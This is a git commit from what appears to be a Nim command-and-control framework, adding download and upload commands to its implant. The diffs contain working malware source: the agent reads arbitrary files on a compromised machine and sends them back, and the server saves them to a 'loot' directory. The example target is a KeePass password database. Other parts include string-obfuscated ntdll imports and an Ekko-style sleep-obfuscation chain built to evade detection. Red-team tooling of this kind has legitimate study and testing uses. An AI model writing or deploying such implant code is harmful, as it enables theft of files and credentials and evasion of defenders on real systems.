Implemented simple download command.

This commit is contained in:
Jakob Friedl
2025-09-01 19:45:39 +02:00
parent 8292a5b1ff
commit ae083896b6
6 changed files with 184 additions and 74 deletions

1
.gitignore vendored
View File

@@ -10,6 +10,7 @@ bin/*
# Ignore log files # Ignore log files
*.log *.log
/data/loot/*
.vscode/ .vscode/

View File

@@ -25,6 +25,7 @@ proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttribut
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
# Function for retrieving a random thread's thread context for stack spoofing # Function for retrieving a random thread's thread context for stack spoofing
proc GetRandomThreadCtx(): CONTEXT = proc GetRandomThreadCtx(): CONTEXT =
@@ -207,8 +208,9 @@ proc sleepEkko*(sleepDelay: int) =
ctx[8].R9 = cast[DWORD64](addr value) ctx[8].R9 = cast[DWORD64](addr value)
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
ctx[9].Rip = cast[DWORD64](SetEvent) ctx[9].Rip = cast[DWORD64](NtSetEvent)
ctx[9].Rcx = cast[DWORD64](hEventEnd) ctx[9].Rcx = cast[DWORD64](hEventEnd)
ctx[9].Rdx = cast[DWORD64](NULL)
# Executing timers # Executing timers
for i in 0 ..< ctx.len(): for i in 0 ..< ctx.len():

View File

@@ -45,6 +45,8 @@ type
CMD_ENV = 10'u16 CMD_ENV = 10'u16
CMD_WHOAMI = 11'u16 CMD_WHOAMI = 11'u16
CMD_BOF = 12'u16 CMD_BOF = 12'u16
CMD_DOWNLOAD = 13'u16
CMD_UPLOAD = 14'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8

View File

@@ -0,0 +1,77 @@
import ../common/[types, utils]
# Define function prototype
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
Command(
name: protect("download"),
commandType: CMD_DOWNLOAD,
description: protect("Download a file."),
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
],
execute: executeDownload
),
Command(
name: protect("upload"),
commandType: CMD_UPLOAD,
description: protect("Upload a file."),
example: protect("upload /path/to/payload.exe"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
],
execute: executeDownload
)
]
# Implement execution functions
when defined(server):
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, std/paths, strutils, strformat
import ../agent/protocol/result
import ../common/[utils, serialize]
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
try:
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
echo fmt" [>] Downloading {filePath}"
# Read file contents into memory and return them as the result
var fileBytes = readFile(filePath)
# Create result packet for file download
var packer = Packer.init()
packer.add(uint32(filePath.len()))
packer.addData(string.toBytes(filePath))
packer.add(uint32(fileBytes.len()))
packer.addData(string.toBytes(fileBytes))
let result = packer.pack()
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult =
try:
var fileBytes: seq[byte] = task.args[0].data
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -6,6 +6,7 @@ import
shell, shell,
sleep, sleep,
filesystem, filesystem,
filetransfer,
environment, environment,
bof bof
@@ -26,6 +27,7 @@ proc loadModules*() =
registerCommands(shell.commands) registerCommands(shell.commands)
registerCommands(sleep.commands) registerCommands(sleep.commands)
registerCommands(filesystem.commands) registerCommands(filesystem.commands)
registerCommands(filetransfer.commands)
registerCommands(environment.commands) registerCommands(environment.commands)
registerCommands(bof.commands) registerCommands(bof.commands)

View File

@@ -1,10 +1,10 @@
import terminal, strformat, strutils, sequtils, tables, times, system import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths]
import ../globals import ../globals
import ../db/database import ../db/database
import ../protocol/packer import ../protocol/packer
import ../core/logger import ../core/logger
import ../../common/[types, utils] import ../../common/[types, utils, serialize]
#[ #[
Agent API Agent API
@@ -15,95 +15,121 @@ proc register*(registrationData: seq[byte]): bool =
# The following line is required to be able to use the `cq` global variable for console output # The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}: {.cast(gcsafe).}:
let agent: Agent = cq.deserializeNewAgent(registrationData) try:
let agent: Agent = cq.deserializeNewAgent(registrationData)
# Validate that listener exists # Validate that listener exists
if not cq.dbListenerExists(agent.listenerId.toUpperAscii): if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n") cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
return false
# Store agent in database
if not cq.dbStoreAgent(agent):
cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n")
return false
# Create log directory
if not cq.makeAgentLogDirectory(agent.agentId):
cq.error("Failed to create log directory.", "\n")
return false
cq.agents[agent.agentId] = agent
cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
except CatchableError as err:
cq.error(err.msg)
return false return false
# Store agent in database
if not cq.dbStoreAgent(agent):
cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n")
return false
# Create log directory
if not cq.makeAgentLogDirectory(agent.agentId):
cq.error("Failed to create log directory.", "\n")
return false
cq.agents[agent.agentId] = agent
cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] = proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Deserialize checkin request to obtain agentId and listenerId try:
let # Deserialize checkin request to obtain agentId and listenerId
request: Heartbeat = cq.deserializeHeartbeat(heartbeat) let
agentId = Uuid.toString(request.header.agentId) request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
listenerId = Uuid.toString(request.listenerId) agentId = Uuid.toString(request.header.agentId)
timestamp = request.timestamp listenerId = Uuid.toString(request.listenerId)
timestamp = request.timestamp
var tasks: seq[seq[byte]] var tasks: seq[seq[byte]]
# Check if listener exists # Check if listener exists
if not cq.dbListenerExists(listenerId): if not cq.dbListenerExists(listenerId):
cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n") cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n")
raise newException(ValueError, "Invalid listener.") raise newException(ValueError, "Invalid listener.")
# Check if agent exists # Check if agent exists
if not cq.dbAgentExists(agentId): if not cq.dbAgentExists(agentId):
cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n") cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n")
raise newException(ValueError, "Invalid agent.") raise newException(ValueError, "Invalid agent.")
# Update the last check-in date for the accessed agent # Update the last check-in date for the accessed agent
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
# Return tasks # Return tasks
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
let taskData = cq.serializeTask(task) let taskData = cq.serializeTask(task)
tasks.add(taskData) tasks.add(taskData)
return tasks return tasks
except CatchableError as err:
cq.error(err.msg)
return @[]
proc handleResult*(resultData: seq[byte]) = proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}: {.cast(gcsafe).}:
let try:
taskResult = cq.deserializeTaskResult(resultData) let
taskId = Uuid.toString(taskResult.taskId) taskResult = cq.deserializeTaskResult(resultData)
agentId = Uuid.toString(taskResult.header.agentId) taskId = Uuid.toString(taskResult.taskId)
agentId = Uuid.toString(taskResult.header.agentId)
cq.info(fmt"{$resultData.len} bytes received.") cq.info(fmt"{$resultData.len} bytes received.")
case cast[StatusType](taskResult.status): # Update task queue to include all tasks, except the one that was just completed
of STATUS_COMPLETED: case cast[StatusType](taskResult.status):
cq.success(fmt"Task {taskId} completed.") of STATUS_COMPLETED:
of STATUS_FAILED: cq.success(fmt"Task {taskId} completed.")
cq.error(fmt"Task {taskId} failed.") cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
of STATUS_IN_PROGRESS: of STATUS_FAILED:
discard cq.error(fmt"Task {taskId} failed.")
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
of STATUS_IN_PROGRESS:
discard
case cast[ResultType](taskResult.resultType): case cast[ResultType](taskResult.resultType):
of RESULT_STRING: of RESULT_STRING:
if int(taskResult.length) > 0: if int(taskResult.length) > 0:
cq.info("Output:") cq.info("Output:")
# Split result string on newline to keep formatting # Split result string on newline to keep formatting
for line in Bytes.toString(taskResult.data).split("\n"): for line in Bytes.toString(taskResult.data).split("\n"):
cq.output(line) cq.output(line)
of RESULT_BINARY: of RESULT_BINARY:
# Write binary data to a file # Write binary data to a file
cq.output() # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value, unless it is fragmented
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
let
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files
fileBytes = unpacker.getDataWithLengthPrefix()
of RESULT_NO_OUTPUT: # Create loot directory for the agent
cq.output() createDir(cast[Path](fmt"{CONQUEST_ROOT}/data/loot/{agentId}"))
let downloadPath = fmt"{CONQUEST_ROOT}/data/loot/{agentId}/{fileName}"
# Update task queue to include all tasks, except the one that was just completed
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) writeFile(downloadPath, fileBytes)
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
of RESULT_NO_OUTPUT:
cq.output()
except CatchableError as err:
cq.error(err.msg)